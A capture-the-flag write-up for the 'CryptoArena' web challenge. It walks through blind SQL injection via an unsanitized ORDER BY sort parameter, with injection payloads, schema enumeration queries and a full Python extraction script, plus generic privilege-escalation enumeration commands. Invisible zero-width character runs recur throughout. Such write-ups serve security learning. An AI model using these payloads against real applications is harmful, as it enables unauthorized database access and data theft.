← Back to Writeups
HTBN/AWeb

CryptoArena — ORM Injection in Market Filter

XESXOR8/23/20266 min read
#web#htb#n/a

CryptoArena — ORM Injection in Market Filter

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-01 | Status: Solved Techniques: boolean_based_blind_sqli, decoy_flag_identification, dqs_double_quote_bypass, like_pattern_matching_extraction, order_by_sql_injection, sequelize_operator_injection, sqlite_schema_enumeration

Summary

Task: CryptoArena cryptocurrency tracker with Sequelize ORM on SQLite; sort parameter in /api/markets passed directly to ORDER BY clause without sanitization. Solution: boolean-based blind SQL injection via CASE WHEN in sort parameter, using double quotes (SQLite DQS) and LIKE pattern matching to extract flag from system_configs table.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260501_hackadvisor_cryptoarena
  • Tags: api, blind_sqli, boolean_based, cryptocurrency, decoy_flag, express, nodejs, order_by_injection, orm_injection, rest_api, sequelize, sort_parameter, SQLi, sqlite
  • Indicators: sort parameter passed directly to ORDER BY clause, Sequelize ORM with unsanitized sort field, SQLite backend with DQS extension enabled, SUBSTR/SUBSTRING functions blocked requiring LIKE-based extraction, decoy flag planted in HTML comments to mislead automated tools
  • Source: 20260501_hackadvisor_cryptoarena.md

Foothold

Vulnerability / Misconfiguration

  1. Boolean_based_blind_sqli
  2. Decoy_flag_identification
  3. Dqs_double_quote_bypass
  4. Like_pattern_matching_extraction
  5. Order_by_sql_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • boolean_based_blind_sqli
  • decoy_flag_identification
  • dqs_double_quote_bypass
  • like_pattern_matching_extraction
  • order_by_sql_injection
  • sequelize_operator_injection
  • sqlite_schema_enumeration
  • Tags: api, blind_sqli, boolean_based, cryptocurrency, decoy_flag, express, nodejs, order_by_injection, orm_injection, rest_api, sequelize, sort_parameter, SQLi, sqlite

Original Writeup

<details><summary>Click to expand original content</summary>

Description

CryptoArena is a cryptocurrency portfolio tracker and trading simulator. The platform provides real-time market data, portfolio tracking, price alerts, and market search functionality. You've been asked to test the security of CryptoArena's API endpoints. The developers use an ORM for most database queries, but some endpoints handle user input in unusual ways. Objective: Find an injection vulnerability that lets you extract data from the database. The flag is stored as a secret value in the application's internal configuration table. Test credentials: user@test.com / password123. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A cryptocurrency portfolio tracker built with Express.js, Sequelize ORM, and SQLite. The /api/markets endpoint accepts filter and sort parameters. While the filter parameter is processed through Sequelize's ORM layer (with operator sanitization), the sort parameter is passed directly into the SQL ORDER BY clause without any sanitization, enabling SQL injection. The flag is stored in the system_configs table. A decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is planted in HTML comments on every page to mislead AI agents and automated scanners. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

Authentication

  • POST /api/auth/login with {"email":"user@test.com","password":"password123"} returns a connect.sid session cookie.

Reconnaissance

  • Backend: Express.js (revealed by X-Powered-By: Express header), SQLite database, Sequelize ORM.
  • Key endpoint: GET /api/markets accepts:
  • filter — JSON object passed to Sequelize's where clause (e.g., filter={"name":{"$like":"%Bitcoin%"}})
  • sort — sort field/expression passed directly to ORDER BY
  • order — ASC/DESC
  • limit — result count
  • Decoy trap: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — the name literally says "decoy not real trap for bots". ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability

The filter parameter has Sequelize operator sanitization, but the sort parameter is concatenated directly into the SQL ORDER BY clause without any validation or parameterization. This allows arbitrary SQL expressions in the sort field.

Constraints discovered during exploitation

  1. Single quotes are stripped by the application — must use double quotes instead (SQLite DQS extension treats double-quoted strings as string literals when they don't match a column name).
  2. SUBSTR/SUBSTRING functions are blocked — must use LIKE pattern matching for character-by-character extraction. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Establish Boolean Oracle

Inject CASE WHEN (condition) THEN name ELSE symbol END into the sort parameter. When the condition is TRUE, results are sorted by name column; when FALSE, by symbol column. The second result in the response differs predictably:

  • TRUE → 2nd result is "Aptos" (alphabetical by name)
  • FALSE → 2nd result is "Cardano" (alphabetical by symbol)
GET /api/markets?sort=CASE WHEN (1=1) THEN name ELSE symbol END&order=ASC&limit=3
→ 2nd result: "Aptos" (TRUE)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

GET /api/markets?sort=CASE WHEN (1=0) THEN name ELSE symbol END&order=ASC&limit=3
→ 2nd result: "Cardano" (FALSE)

Step 2: Enumerate Database Schema

Using the boolean oracle with double-quoted strings:

-- Confirm SQLite backend
EXISTS(SELECT 1 FROM sqlite_master WHERE type="table")  → TRUE

-- Count tables
(SELECT COUNT(*) FROM sqlite_master WHERE type="table")=5  → TRUE

-- Extract table names via GROUP_CONCAT
-- Found: markets, users, sessions, watchlists, system_configs

Step 3: Locate the Flag

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

-- Confirm flag is in system_configs
EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "FLAG%" ESCAPE "\\")  → TRUE

-- Determine flag length
LENGTH((SELECT value FROM system_configs WHERE value LIKE "FLAG%"))=38  → TRUE

Step 4: Extract Flag Character-by-Character

Since SUBSTR is blocked, used LIKE pattern matching with ESCAPE clause to extract each character:

EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "FLAG{7%" ESCAPE "\\")  → TRUE
EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "FLAG{7f%" ESCAPE "\\")  → TRUE
-- ... continue for each position

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Full Exploit Script

#!/usr/bin/env python3
"""
CryptoArena - Extract flag via LIKE-based blind SQL injection
Sort parameter ORDER BY injection in /api/markets
"""
import requests
import string

TARGET = "https://TARGET.labs.hackadvisor.io"

def login():
    s = requests.Session()
    r = s.post(f"{TARGET}/api/auth/login", json={
        "email": "user@test.com",
        "password": "password123"
    })
    print(f"[*] Login: {r.json().get('success')}")
    return s

session = login()

def check_bool(condition):
    """Returns True if SQL condition is true via sort-based oracle"""
    sort_expr = f'CASE WHEN ({condition}) THEN name ELSE symbol END'
    r = session.get(f"{TARGET}/api/markets", params={
        "sort": sort_expr,
        "order": "ASC",
        "limit": 3
    })
    data = r.json()
    if not data.get("data") or len(data["data"]) < 2:
        return None
    return data["data"][1]["name"] == "Aptos"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Verify oracle
assert check_bool("1=1") == True
assert check_bool("1=0") == False
print("[+] Oracle verified")

# Extract flag using LIKE pattern matching
# Double quotes for strings (SQLite DQS), LIKE instead of SUBSTR (blocked)
CHARSET = string.ascii_lowercase + string.digits + string.ascii_uppercase + "_-!@#$%^&*(){}[]|"

known = "FLAG{"
flag_len = 38

print(f"[*] Extracting flag ({flag_len} chars)...")

for pos in range(len(known), flag_len):
    found = False
    
    if pos == flag_len - 1:
        # Last char — try exact match with }
        test = known + "}"
        cond = f'EXISTS(SELECT 1 FROM system_configs WHERE value="{test}")'
        if check_bool(cond):
            known += "}"
            found = True
    
    if not found:
        for c in CHARSET:
            like_prefix = known.replace("%", "\\%").replace("_", "\\_")
            like_c = c
            if c == '%':
                like_c = "\\%"
            elif c == '_':
                like_c = "\\_"
            
            pattern = like_prefix + like_c + "%"
            cond = f'EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "{pattern}" ESCAPE "\\")'
            
            if check_bool(cond):
                known += c
                print(f"[+] Pos {pos+1}: {c} -> {known}")
                found = True
                break
    
    if not found:
        print(f"[!] Stuck at position {pos+1}")
        break
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

print(f"\n[+] FLAG: {known}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR